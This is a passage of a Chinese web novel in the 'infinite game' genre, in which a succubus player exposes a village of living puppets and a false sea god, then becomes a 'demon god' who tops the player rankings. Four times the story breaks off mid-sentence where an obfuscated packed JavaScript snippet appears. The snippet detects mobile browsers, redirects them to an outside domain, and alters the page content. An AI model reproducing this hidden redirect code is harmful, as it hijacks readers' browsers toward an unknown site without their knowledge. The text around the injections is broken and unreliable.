“说呀,你觉得神明,应该是什么样的?” 宁汐柔看着手中没有实感的雾气在掌心消散,笑盈盈地转头看向村长。 “你们天天做出那副虔诚的样子,跪拜祷告,不就是为了‘创造’出一个神明吗?” 她站起来,向村长走过去。 “可是你们‘造神’的目的又是什么?我其实一直想不通。” 她喃喃道。 宁汐柔想过许多可能性,也许是恐惧自然灾难,也许是为了遮掩村子里的其他罪恶,也许是…… 但或许,这些都不是本质。 本质是,贪婪, 从来不需要理由。 “你听到了吗?刚才那声尖叫,好像是怒吼,又好像是痛呼,还像是……求救。” 宁汐柔一步一步,走到了那些静止的村民们面前。 他们一个个好像已经死去了,脸上的血肉被尽数剥离,但血肉之下露出来的不是骨骼, 而是一个个木质表面。 是木偶。 有血肉,有渴望,甚至有灵魂。 原来这才是芹秀兰曾经做出来的: “活着的傀儡”。 “海神村看上去信仰虔诚,其实一切都很敷衍,人类的敷衍不会做得这么粗糙,他们最擅长编制谎言了。” 宁汐柔说,凑近看着佝偻着身体的村长。 她看得很细致,仿佛在打量着他脸上每一寸的肌肉走势。 从外表上,和人类真的没有任何区别。 连宁汐柔的眼睛都分辨不出。 “你们的这场舞台剧之所以拙劣,是因为你们不是人类,只是穿上了人皮的傀儡。照猫画虎,有样学样,但是学得也不怎么样。” 宁汐柔抬起头,看着黑暗中的雾气,轻声: “我说得对吗?” “你到底是谁?!你不是人类!” 村长用拐杖支撑着身体,将自己挡在宁汐柔和村民们之间。 他居然在保护自己的族人。 “你怕什么?你们也不是人类呀。” 宁汐柔觉得有点可笑。 村长沉默了一会儿,用戒备的眼光看着宁汐柔。 “你有什么目的?” “你们有什么目的?” 宁汐柔笑着问。 “我们只想要活着,只是想活着而已!” 村长长叹一声,深深地低下头,喉咙里发出的声音,比起怒火,更像是哽咽。 “你们不是已经活着了吗?” 宁汐柔有些不解。 即使用魅魔的眼睛来看,不管是海神村还是海村中的村民,都符合“活着”的标准。 可村长却说,他们只是想要“活着”? “傀儡的生命,来自于创造他们的傀儡师。傀儡可以永远存在,但是傀儡师是会死的。” 村长说着,抬起头看着宁汐柔。 他苍老的眼睛里,流下一滴泪。 是为了他,还是为了他的傀儡师? “她们会老,会死,在她们死去之后,我们的生命,也进入了倒计时。我们想要活下去,没有别的办法,只能渴望有一个神明,能够拯救和庇护我们。” 村长说。 “所以你们选择了‘信仰’海神,希望祂来拯救你们?” 宁汐柔若有所思: “那芹秀兰又是怎么回事?她也是傀儡师。” “我们不知道她是傀儡师,只知道她和她弟弟,是个村子里最后的人类孩子了。我们一直在盼望,她能成为傀儡师,这样,我们就能成为她的傀儡,延续生命…… 可是长大之后,她一直很平凡。但她弟弟展现了制造傀儡的能力,我们一开始都很惊讶,因为一向只有女人才能成为傀儡师。 但是没关系,虽然是个男傀儡师,但只要能帮助我们,我们都愿意。然而,他却是个冒牌货,他连我们是傀儡这件事情都看不出来!他只会拿出雕好的木偶,却根本没办法让木偶‘活’过来,成为‘傀儡’。” 村长叹了口气,摇摇头: “但毕竟那是我们最后的希望了,所以,我们也会陪着他演戏,寄希望于也许有一天,他能成为真正的傀儡师。 可是前段时间,他连那些木偶都拿不出来了。果然,男人是没办法成为傀儡师的。” “芹秀兰呢?你们为什么没去找她?按照 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14655639|152026||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你的这个理论来说,她才是更有可能成为傀儡师的人吧。” 宁汐柔问。 “她?她已经死了啊。” 村长很不解。 “她在年纪很小的时候就已经死了,她想去村子外面的世界,结果溺死在海浪里了。” 什么? 芹秀兰不是说,自己一直待在地下,是让傀儡代替自己的身份行动的吗? 至少,她是这样解释为什么海神村的人不认识她这件事的。 但细细想来,其实这其中也有很多不合理之处。 海神村是一个很小的村落,坐落在海岛上,村民之间都是熟脸。 甚至这个村子里除了芹秀兰姐弟之外,每个村民都是傀儡,他们的记忆力远远胜过一般人类。 芹秀兰是一个中年女人的形象,她在这里生活了那么多年,成年之后一次也没有出过门吗? 在芹秀兰口中,她弟弟依靠着她雕刻的傀儡,成为了村子里唯一的傀儡师,受到了众人包括村长在内的重视。 但是在村长的口中,他们从一开始就知道那个男人是假傀儡师,他拿出来的也根本不是傀儡,而是仅仅完成了雕刻的木偶。 “所以,被傀儡师唤醒,有了生命的才叫做傀儡,那些只是被雕刻好的,只能是木偶,对吗?” 宁汐柔问。 “……嗯。” 村长不情不愿地点点头,算是回答了她的问题。 “每个傀儡都知道自己的身份吗?有没有可能,他们没有被制造出来的记忆,反而以为自己是人类?” 宁汐柔又问。 这次,村长眼中的戒备愈发浓厚了,但他犹豫了一会儿,还是对着宁汐柔说: “有那种情况,但是很少。 傀儡们活过来的时候,第一眼见到的是傀儡师,我们也知道自己是突然出现在这个世界上的,没有正常人类的生活轨迹,很容易就发现自己和人类的不同。 除非……” “除非傀儡师特意为这个傀儡设计了他们过往的人生经历,让他们以为自己是人类?” 宁汐柔说。 “对。最天才的傀儡师,可以做和人类极为相似的傀儡,甚至让他们拥有从出生到长大的记忆。” 村长回答。 “原来如此……” 宁汐柔突然笑了,轻声问: “比如说,海陵?” “你……你怎么会知道这么多?!” 村长的声音中带上了惊恐。 “你知道制造海陵的傀儡师是谁吗?” 宁汐柔问。 “不知道,他是突然出现的。我们以为他是哪个强大傀儡师的遗作。” 村长回答。 “因为他的制造着足够强大,所以你们让他担任了巫女的角色?” 她又问。 “对。傀儡师都是女人,海神应该也是女人,所以我们觉得,祂会更喜欢巫女。” 村长回答。 海神啊…… 宁汐柔笑了,点点头: “你们创造出来的这个神,祂的确是个女人,你也认识她。” “谁?” 村长瞪大了眼睛。 “芹秀兰。” 宁汐柔无比轻柔地,吐出了这三个字。 “那个许多年前就死在海中的,真正的芹秀兰。” “可惜,她并不能拯救你们。” “虚伪的信仰,只能诞生掠夺的伪神。” “在这场瘟疫中,你们都会被她吞噬。” 51. 海村往事(25) “你是说,这个东西,是当时那个死在海里的孩子?” 村长抬头看去,脊背佝偻颤抖着。 即使作为傀儡来说,他也已经也太老了。 “她才是你们村子里最后一个傀儡师,她这些年拿出来糊弄你们的,应该都是她的失败作品。” 宁汐柔说着,走近一片混沌的雾气,眼中居然带上一点怜惜的意味。 “她这一生,应该有两个成功的作品。” “两个?” 村长问。 “嗯,两个。第一个是海陵,她将海陵制作出来,在这个过程中,他获得了一些模糊的人类记忆。” 宁汐柔说。 在海陵的记忆中,他从小是跟着村子里的女人们生活的,模仿着她们的举手投足。 但这其实不是他的记忆,他是被村长捡到之后才苏醒意识的。 那些是属于人类芹秀兰的记忆。 也许这些记忆不是被刻意赋予海陵的,而是在人类芹秀兰制作他的时候,不自觉浸透到他身上的。 因为比起记忆,还有一些东西,更像是梦境。 比如他对于村子里女人的去向,使用了“海浪带走了她们”这样的描述。 这是一种浪漫化的想象。 这是属于人类芹秀兰的想象。 因为她向往大海,向往外界,到了可以为此送命的程度。 海陵是她对于傀儡自由意志的极限探索,她给予他完全的自由,去感受世界,去寻找自己的来处和归途。 所以海陵才会有着与村子里其他人不一样的,真实的“虔诚”和“信仰”。 他或许是这个村子里唯一一个真正信仰着“海神”的。 “第二个呢?” 村长显然对于海陵是芹秀兰造物这件事情并不惊讶,只是开口问。 “第二个,就是芹秀兰自己。” 宁汐柔的视线投向房间内。 在那里的地面上,躺着一具尸体。 中年女人,面容寡淡,神色总是很平静。 是“芹秀兰”。 “什么叫,她自己?” 村长不明所以。 “你说过,海神村的芹秀兰,在年纪很小的时候就已经死了,她那时候多大?” 宁汐柔问。 “十七八岁,刚刚成年。她自己做了一只独木舟,一个人偷偷跑到了海岛边上,再也没回来过。” 村长答。 “尸体呢,找到了吗?” 宁汐柔又问。 “没有。我们的本质还是木头,不能沾水太久。所以只在浅海找过。” 村长也答。 “你们就没有想过,要离开这座岛,去看看外面的世界吗?” 宁汐柔似乎有点好奇。 这次,村长沉默良久,摇了摇头。 他们是傀儡,是在木头里诞生的生命,他们不会好奇天地的广阔,也不曾萌生除了对于“活着”之外的渴望。 但芹秀兰不是。 她是人,是一个少年人,还是一个天才的少年人。 对她而言,好奇心,探索欲,对于知识的渴望和对外界的向往,是会随着呼吸自然生长出来的东西。 她很勇敢,敢于独身征服大海。 这份“冲破”的欲望,即使在死后也没有熄灭。 它让她在海中,在死亡中,无意识地响应了海神村的信仰,那些虚假的信仰供给着她,也束缚着她。 她成了被囚禁的伪神。 她一定是个求生欲很强的人。 对于生命的渴望,对于“存在”的渴望,让她在死亡的间隙中无意识地创造出了自己的第二个傀儡: “芹秀兰”。 那是她对自己未来的想象,对自己意志的传承。 这个自海水中走出,自她的死亡之地走出来的中年女人,沉默寡言,看似温吞,但足够坚定。 她有着极其强烈的欲望:活下去,走出去。 死在十八岁的芹秀兰,是一个绝对天才的傀儡师,她一生只创作了两个傀儡。 但每一个傀儡,都真正地“活”着。 “原来如此……” 宁汐柔恍然大悟。 傀儡师的宝物,是她们强烈的欲望。 求生,求存,求死。 欲望赋予木偶生命。 [叮!恭喜您完成隐藏任务!] [已获得“傀儡师的宝物”] 随着系统提示音的响起,仿佛耳边突然炸开一朵虚无的花。 在那一瞬间,她感受到空气中纷杂混乱的声音涌入脑海。 “我不想死!我不想死!” “我还没有活过,我不要死!” “好痛!好痛!” “救救我,谁来救救我?!” “放开我!不要再缠着我了!” “伟大的神,祈求你,祈求你真的存在……祈求你赐我自由!” 那是欲望的声音。 欲望编织丝线,操控傀儡。 宁汐柔闭上眼,平复着呼吸。 她并不需要空气来生存,但此刻,她依然感到窒息。 欲望与执念,在进食时足够美味。 挂在身上时,也足够纷扰沉重。 “那你说的,她会把我们都吞噬,是什么意思?” 村长沉默了很久,才开口问道。 “你们的信仰都是表演出来的,是假的。神明需要的信仰不是这种。所以,为她提供能量的,是你们的欲望,求生欲。” 宁汐柔说。 “但是这种欲望不是奉献,是索取。 她得不到正确的供养,就没有能力去给予你们‘生命’。 但是你们之间的链接已经构建,她依靠着你们的欲望维持自己的存在,就逃不掉这种循环。 所以,她只能通过掠夺你们生命的方式,去完成‘给予你们生命’的任务。” 宁汐柔说着,笑了出来。 “你们又有生命可供掠夺吗?没有的。所以最后的结局,只能是她将你们吞噬殆尽,然后自己也随之消亡罢了。 这才是这场瘟疫的真相。 真有意思啊。” 她评价道。 “为什么,为什么突然会这样?!” 村长不可置信地抱着头,眼中带着惊恐。 他看着自己正在被吞噬的族人,又看着空中的雾气,痛苦和绝望布满了苍老的面孔。 宁汐柔说的是真的,他不得不承认这件事。 因为被吞噬的感觉无法作假。 “因为傀儡芹秀兰被杀了。” 宁汐柔说。 傀儡芹秀兰承载着人类芹秀兰最强烈的欲望。 海神村,傀儡芹秀兰,人类芹秀兰,分别是混沌雾气中伪神的束缚、渴望与原点。 三方维持着脆弱的和平,一旦其中一方消失,整个平衡会瞬间崩塌。 然而,傀儡芹秀兰自海中走出,引起了冒牌傀儡师的注意。 他以为失去的姐姐回来复仇,所以抢在所有人之前杀了她。 随着傀儡芹秀兰的死去,人类芹秀兰,或者说伪神,祂“走出去”的希望破灭,欲望成为绝望,执念化作怒火。 她不再求生,而是开始寻求自由。 而她的自由,便是死亡。 唯以彻底的死亡,解放扭曲的枷锁。 “你有办法,不然不会和我说这么多。” 村长紧紧握着手中的拐杖,抬起头看着宁汐柔,几乎是恳求一般: “你有办 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14673189|152026||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 法,你有办法,对吗?” 宁汐柔没有回答他,转过身,一步步走向房间内。 村长慌忙地想要跟上她,却重重摔在地上。 他也在被吞噬。 “我有办法,但是,值得吗?” 宁汐柔问自己。 “不值得,但是只能这样做。” 她回答自己的。 她听见自己的声音。 她听见自己的欲望。 她要活下去,要赢。 “池隨冬,你要死了。” 宁汐柔半蹲下来,抬手摸池隨冬的脸颊。 他闭着眼睛,却依然呼吸着,有什么东西燃烧着,支撑着他的生命。 是什么? “……你,还没出去吗?” 听见她的声音,池隨冬勉力睁开眼睛,他看上去和尸体已经快要没有区别了。 “你想再见到我吗?” 宁汐柔问。 “……我、想。” 池隨冬的眼神黯淡了一瞬,又决然地点头。 “要等很久。” 她说。 “好。” 他答。 “会很痛苦。” “好。” “也许最后还是会死。” “好。” “会变成不人不鬼的怪物,被做成灯,挂在墙上。” “哈……好。” 他又笑了,看着宁汐柔,好像又有了一点力气。 “……能见到,就好。” 他说着,抬起手,将宁汐柔散落在耳边的一缕碎发别到耳后。 就像他们初见时,她做的那样。 “那,你先睡吧。” 宁汐柔的手心覆上他的眼睛。 不知怎得,她也闭上眼。 “你要做什么?” 村长终于爬了起来,来到了宁汐柔身边。 “做海神灯。” 宁汐柔睁开眼,声音一片平静。 在她怀中,池隨冬闭上眼,随着他入睡的瞬间,他身上的肌肤、血肉尽数风化散去,只剩下一副白骨。 宁汐柔低下头,看着他的指骨。 尽管已经只剩骨头,依然可以看出那曾经是一双极美的手,指节修长,犹如青竹。 [叮!恭喜玩家完成特殊支线任务:海神灯之谜] [检测到特殊通道关闭中——] [恭喜您完成特殊支线任务,奖励将在副本结束后统一发放] 听着系统播报的任务通知,宁汐柔的神情没有半点变化。 她将自己感受到的,所有来自于海神村傀儡们的欲望丝线,全部握在手中,然后接到了海神灯上。 空气中的混沌武器默然散去。 一个孤独的灵魂终于自由。 他们自噩梦中醒来。 “芹秀兰,在你彻底死去之前,还有一件事,看着。” 宁汐柔说。 她将目光投注在傀儡芹秀兰的尸体上。 从噩梦离开之后,傀儡芹秀兰的尸体中又重新多了一股被封存着的“存在”欲。 依然是只需要一副眼睛。 宁汐柔闭上眼,她抬起手,指尖探入自己的眼眶,随后指节绷紧,低声痛呼。 纯然的魔力被撕扯开,她将自己的眼睛挖了出来。 “她会走出去的。走出海神岛,走出这个束缚着你的地方。她会去看真正的世界。” 随着魔力丧失,宁汐柔的声音也虚弱下来。 她一字一句地说着。 随后,她将自己那双褪去颜色的眼睛,放在了傀儡芹秀兰空洞的眼眶中。 [叮!检测到特殊支线任务已完成,将为您自动开启时间传送!] [3、2、1——] 52. 海村往事(完) 宁汐柔再一次在剧痛中醒来。 她甚至已经开始习惯眼眶里传来的痛意。 这不是来自木偶躯壳的痛觉,而是来自于她自己魔力被撕扯的痛苦。 [主线倒计时:01:00:01] 一片漆黑的视野中,只有一行猩红色的字体浮现。 不知道是噩梦还是时间穿越耗费了太多时间。 倒计时即将走向完结。 海神村过去发生了什么,宁汐柔现在知道了。 可海村又发生了什么? 这场祭典到底是在祭谁? 以及宁汐柔的特殊身份卡任务: “找到‘你’的名字。” 这个任务,宁汐柔甚至都还没有时间去思考。 一个小时,六十分钟,三千六百秒。 倒计时的数字不断变小。 “姐姐!你回来了!” 柏景垣的声音响起,宁汐柔跌进他怀里。 “……这是哪里?” 她沉默半响,问。 “祭台。祭典马上要开始了。” 柏景垣说。 “芹秀兰呢?” 她又问。 “在这里。” 芹秀兰的声音冷不丁出现在旁边。 “我真……” 柏景垣一口气没上来,显然已经郁闷习惯了。 “我真不理解,我每次都很注意了,但还是发现不了她。她这技能真是太bug了。” 柏景垣当然发现不了。 因为那不是芹秀兰的玩家技能,芹秀兰也并不算得上玩家。 她是一个活着的傀儡,在天才傀儡师芹秀兰的执念中诞生, 被愚蠢的冒牌者杀害,靠着“存在”的执念,让欲望代替灵魂成为生命的燃料。 可惜,破碎的木偶身躯无法保存燃料,她苟延残喘,不可避免地走向毁灭。 但在那之前,她获得了修补躯壳的宝物。 宁汐柔的眼睛。 魅魔的眼睛。 魅魔以欲执为食,欲执化作魔力,供养她们的一切。 包括双眼。 宁汐柔的眼睛修补了傀儡芹秀兰破碎的身体,将她的执念欲望封存在躯体中。 执念得以保存,继续燃烧,供养双眼。 她因此复活。 芹秀兰的低存在感不源于技能,而是源自于这个借由执念构成的循环。 最渴望存在的人,从此活得像是“不存在”。 有种荒诞的幽默。 宁汐柔忍不住笑了一声。 “眼睛,喜欢吗?” “喜欢,能看到很多以前看不到的东西。” 魅魔的眼睛可以看见人心欲执的颜色,对于芹秀兰来说,这是极其新奇的体验。 当然,用了十年,可能现在也不那么新奇了。 芹秀兰似乎猜到了她在想什么,又说: “不是只有被看到,才算是存在。我的存在,由我自己确认就够了。” 宁汐柔沉默片刻,点头说: “说得好,受教了。” 随后,她柏景垣怀中站起来,问: “海陵呢?” “你消失了,他暂时顶上巫女的位置,在准备祭典。” 柏景垣回答。 “祭谁呢?” 宁汐柔问,但询问的对象,并不是柏景垣。 而是站在不远处的村长。 苍老佝偻着的老人自一旁走出,浑浊的双眼定定看着宁汐柔。 即使作为傀儡,他也已经活了太久了。 “你回来了。” 村长的声音嘶哑低沉。 那是木质腐朽的证明。 海水会腐蚀木质的身躯,海风也一样,只是更慢,更久。 “把灯挂在巫女的卧室里,是池隨冬的主意吧?” 宁汐柔问。 “对。他有意识的时候不多,这十年里只传递了几条消息,第一个,就是把海神灯挂起来。还有,就是让自己的木偶,雕刻了很多你的驱壳。” 村长回答。 在十年前,宁汐柔将自己的眼睛送给了芹秀兰,同时,这也导致了她的拟态受损,魔力受创。 但她没有选择修复自己的身体。 为了稳固住那些傀儡线,她将用于化作拟态的魔力尽数打散,附在了海神灯上,让它与傀儡线紧紧相连在一起,无法分割。 她亲手制造了池隨冬的监牢。 那些来自宁汐柔的魔力告诉池隨冬, 在未来,她需要一具躯壳,来承载自己的意识。 所以才会有“巫女”,所以才会有那些和宁汐柔一样的木偶。 海陵大概也是从池隨冬那里知道了“巫女”就是海神使者宁汐柔。 池隨冬告诉他,宁汐柔的命令,是让他等待。 等待,守护,直到她在这副躯壳中苏醒。 池隨冬真的是一个很有潜力的玩家。 在瘟疫噩梦中,宁汐柔推理出一切真相的时候,池隨冬一直都在角落里听着。 他知道接下来该怎么做,也知道如何为匆忙离开的宁汐柔扫尾。 当然,他也知道自己即将面对的是如何的苦痛。 他接受了。 他等待着。 “他居然真的,烧了那么久。” 宁汐柔喃喃道。 在从十年前穿越回来之前,宁汐柔做了一件事。 她将池隨冬的骨头搭成了她印象中的海神灯。 在搭成的那一瞬间,支线任务提示完成。 原来两个时间线里从头到尾,都有且只有一盏海神灯。 只有池隨冬。 在“傀儡师的宝物”的奖励加持下, 宁汐柔将海神村所有傀儡村民的傀儡线都转移到了海神灯身上。 被虚假信仰禁锢住的伪神芹秀兰获得了自由,她看到延续自己意志的傀儡获得了眼睛,获得了生命和看到世界的机会。 与此同时,池隨冬被套上枷锁。 他成为了下一个被束缚的伪神,被迫延续着海神村傀儡们的生命。 同样地燃烧,挣扎,在无尽的黑暗中感受着死亡缠绕住自己已经并不存在的肢体。 但池隨冬依然“活着”。 可正因为他是活人,不能像死去的人类芹秀兰一样,利用傀儡芹秀兰和海神村的虚假信仰,搭建出一个勉强的三方平衡。 他只能不断地燃烧,被吸食,成为燃料。 他只有一个燃料,一个欲望,一个支撑他到现在的执念。 十年,三千六百五十天,八万七千六百个小时。 直到现在。 宁汐柔听见骨节被风吹动相撞的声音。 那盏灯被放在她面前。 她抬起手,垂下眼。 冰冷的手骨抚过她的手,像是有人抚摸她的掌纹。 “因为想再见面吗?” 她眨了眨眼,语气缓而轻,居然有种温柔低语般的错觉。 “现在见到了哦。” 宁汐柔在人类世界长大,但她其实不太了解人类。 她喜欢进食,喜欢不同口味的欲执,但她不太喜欢人类。 人类中有的很复杂,也有得简单到寡淡。 他们大部分时候都很软弱,大部分时候都很愚蠢。 庸庸碌碌活着,像是蚁群顺着地上的脚印往前走,不在乎终点。 池隨冬一开始,也只是一个欲望寡淡的人类。 如果不是那副实在漂亮的面孔,宁汐柔甚至不会考虑把他当做餐前小点。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14686541|152026||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>她不了解人类,所以不知道,原来寡淡的人,不是因为没有欲望。 而是因为他们的执念都被压抑在一个黑暗的角落里。 蔓延,生长,爆发。 “这场祭典不是给他的。” 宁汐柔说。 池隨冬不是海神,尽管他以“海神灯”的身份,在海村存在了十年。 但他不是傀儡们渴望的神明,他是个人。 他只能以燃料的姿态维持着傀儡们不死去,却无法给他们真正的生命。 信徒先于神明存在。 在这个村子里,最重要的突破点从来不是神明,而是信徒。 是以村长为首的,这群渴望着生命的傀儡们。 在这个村子里,信仰是有价值的。 虚假的信仰可以喂养出伪神,那么真正虔诚的信仰呢? 又有谁,是拥有着真正虔诚信仰的? “海陵。” 宁汐柔突然说,她“看”向芹秀兰的方向,开口: “还有你。” 他们都信仰着同一位“海神”。 又或者说,海陵信仰着“海里走出的神明”,芹秀兰信仰着“赐予她双眼的神明”。 这位神明,从来不是海神村那粗糙的传说中,提到的虚无头衔。 她真实存在着,在从前,在此刻。 “当初伪神制造的瘟疫中,海神村的人都来到了神观,只有一个人没有出现在那里。” 宁汐柔低声道。 “海陵。” 为什么? 因为他的信仰是真实的,他并不信仰伪神芹秀兰,也就不会被卷进瘟疫。 和那些在瘟疫噩梦中被吞噬殆尽又利用海神灯重新吊住性命的傀儡村民不同。 他只是晕了过去,又醒来了。 所以在海陵的视角里,海村的所有人才会“死去”,又“复活”。 海陵信仰着谁? 他是人类芹秀兰的造物,他信仰的海神,海中走出的女神。 被海浪告诉过他名字的女神。 他说,自己从前不是狂热的信徒。 那他什么时候是了? “海神使者只是个幌子,你从一开始,就只对我态度不一样。” 宁汐柔抬起头,她面前,是穿着一身巫女服侍的海陵。 他是极柔和的美丽,五官精致,秀气而不弱质,雌雄莫辨,眉眼间一点艳红。 海陵一步步向前,走向宁汐柔,站立良久,在她眼前跪俯下来。 “在你眼里,我就是海神。” 她抬起手,抬起海陵的下巴,对方脸上滑下一滴泪水,落在她掌心。 “在你眼中,也是吗?” 她没有回到,只问。 她问的是芹秀兰。 “您赐予我真正的生命。” 芹秀兰低下头,也对着宁汐柔跪了下去。 “真正的生命啊……” 宁汐柔听完,笑了起来,她抬起头,明明眼前一片漆黑,神色却傲然。 “你们也想要真正的生命吗?” 她问站在祭台下的每一个村民。 每一个看着她的傀儡。 “那就来信仰我吧。” 她勾起唇,笑容肆意, “在被我杀死之后,用恐惧,欲望,执念,和所有的血来供奉我。” 木质的身躯崩裂溃散,浓黑粘稠的影子踏碎大地。 魔现出祂的真身。 没有眼睛,没有身躯, 唯有以血的颂歌,迎接魔神的诞生。 这就是她的名字。 [叮!主线任务进度:100%!] [叮!副本已通关!] [——无限游戏服务器载入中——] [祝您游戏愉快!] 53. 无限游戏服务器(4) 在系统倒计时结束时,宁汐柔看着眼前的副本逐渐溃散。 海神岛上方的天空仿佛被什么撕裂了一般,显露出黑洞一样的虚无景象。 然而,这种撕裂却在半路上戛然而止,就如同宁汐柔的脱离副本。 有一种力量,将她和这里牢牢绑定,不可分割。 她转过头,没有视觉,却能感受到自己的掌心汇聚了上百条傀儡线。 是海村的信仰。 宁汐柔此刻已经不是人类的外表,她抛弃了人类拟态,放弃了木偶躯壳。 数米高,由粘稠若实质的黑色浓雾构成的魔躯伫立着,傲然俯视眼前的一切。 “姐姐!” 柏景垣的身影已经虚化,他扑上来想要抓住宁汐柔。 人类的手掌穿过黑色的雾气,仿佛被无数风刃划过,瞬间血肉淋漓。 他没管,甚至没去低头看一眼,神情焦急地看着祂。 “你的任务完成了吗?你能正常登出副本吗?” 他似乎怕宁汐柔听不清,大喊着。 面对着比自己狰狞强大无数倍的“怪物”,他眼中的神色居然没有一点改变。 没有恐惧,没有惊讶,没有任何逃避的冲动,他问: “姐姐,我们还能一起回去吗?” 柏景垣的问题没有等到答案,身影就已经消失在了空气中。 他通关了。 [回程]公会。 柏景垣的身影凭空出现在卡丁车赛场上,被车轮驶过飞溅起的尘土扬了一脸。 “呸、呸呸!你怎么又把公会基地改成车场了!” 他从地上爬起来,把吹到嘴边的沙子擦掉,声音无奈: “咱就非得这么练吗,你能不能换个爱好啊?” 一声急刹车在场上响起,卡丁车车尾甩出弧度极为漂亮的飘移,停在柏景垣面前。 车头离他只有不到二十公分的距离。 车门打开,一只黑色马丁靴踩在地上。 戴着眼镜的少年从驾驶座上下来,冷冷扫了柏景垣一眼。 她看上去十七八岁,高中生年纪,脸颊上带着一点小雀斑,头发蓬松,像是一顶毛线帽。 “呕——” 然后,她蹲在地上,稀里哗啦地吐起来。 “……我就知道。” 柏景垣后退了两步,抬眼望天,兑换了一个医药包,开始处理起自己的伤口来。 他手臂上遍布被魔气割伤的痕迹,每个都很深,皮肉外翻卷起,,血滴滴答答流在地面上。 没有耐心一个个擦拭,他将酒精整瓶,倒在手臂上,伤口边缘泛起失血的白。 “再说,我撞死你。” 少年吐完了,抹了一把嘴,抬头看着柏景垣,半响,又问道: “老大说你和你那个奇迹姐一起下副本去了,她人呢?没出来?” 在清洁机器人勤勤恳恳的脚步声中,她大笑起来: “哈哈哈!那你不是要哭死了?” “滚,姐姐很厉害的!她肯定能出来!” 柏景垣用绷带三两下把手臂缠好,炫耀一样对着少年抬起来: “看见没,我姐姐弄的,积分都治不好!” “……神经病。” 少年的动作停滞片刻,随即露出一种难以言说的表情。 离秽大步走进卡丁车场,她的脚步很重,带着匆忙,直奔柏景垣: “宁汐柔呢?她怎么没和你出来?” “我不知道。” 柏景垣摇了摇头, “但是她一定通关了的!她一定做到了。” “七蔺,你打开玩家排行榜。” 离秽说。 被称为七蔺的少年点头,卡丁车场边上的电子计分屏画面随之变化。 ——排行榜更新中—— [玩家战力榜] 1.魔神 2.傀儡师 …… 7.狂战士 …… 54.七蔺 …… 86.柏景垣 “我怎么还掉档了?” 柏景垣先是看到了自己的名字,下意识问了一句。 但他也知道离秽不可能着急忙慌地跑过来督促他的排名,于是视线上移,直到那个突然出现在“傀儡师”之上的新名字。 “魔神?空降第一,没听说过啊。” 他琢磨着,忽然,神色一变,猛地转头看向离秽: “老大,难道?” “对,这个魔神,应该就是她。” 离秽的声音凝重。 副本·海村往事。 魔站在原地,爆发的魔力犹如无数道风刃,在无法躲避的攻势下,他们每一个都皮开肉绽,露出木质内里。 在祂身前,一个个傀儡跪下来,仿佛虔诚的蝼蚁。 他们中为首的依然是村长,他的伤势尤其严重,动作间,木质关节几乎要崩解断裂。 然而,他的神情确实那样的狂热,虔诚。 “神明,我们终于找到了真正的神明!” 他高呼着。 在他身后,声浪迭起,像是颂歌。 [检测到您的战力值已爆表!为您下发玩家铭牌] [铭牌:魔神] [您目前的玩家排行榜排名为:1] 在傀儡们的呼喊声中, 宁汐柔听见系统提示音。 她睁开眼。 没有眼睛,她的视野中只能看见眼前的地面上,有着无数燃烧着的欲望。 是对“生命”的渴望。 海神村也好,海村也好, 海神也好,魔神也好。 傀儡们的欲望一直很简单: 他们想要活下去。 他们渴望着一个拯救者,一个神明,被庇佑,被使用。 海神村一开始试图造神这条路就走错了。 信徒先于神明存在存在,这一点不假。 信徒的信仰可以诞育神明,这也没有错。 可信徒不能主动去造神,不能知道自己的信仰本质是不存在的。 毕竟, 谁会对自己创造出来的东西虔诚跪伏呢? 足够强大,足够未知,足够不可抵抗的, 才是神明。 芹秀兰和海陵信仰的不是“海神”,而是真实与他们接触过的宁汐柔。 “海神”这个名字只是一个代称,叫什么不重要,重要的是背后指代的那个存在。 宁汐柔的主线任务是: “找到你的名字。” 谁的名字? 至少肯定不是宁汐柔这个名字,不然她进来的那一秒就通关了。 那是“巫女”这个木偶躯壳的名字? 同样不可能。 木偶躯壳只是专门用于承载宁汐柔意识的载体,池隨冬不会给它起名字。 所以名字是什么? 名字又意味着什么? 比起上一个副本中,因为正确条件过于宽泛而导致没有正确答案的任务难点。 这个副本的任务难点,是跳出“名字”这两个字的定义,跳出“巫女”这个躯壳本身。 名字,代表了存在。 在这个副本里,宁汐柔是什么存在? 巫女,海神使者,这些都是游戏副本 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 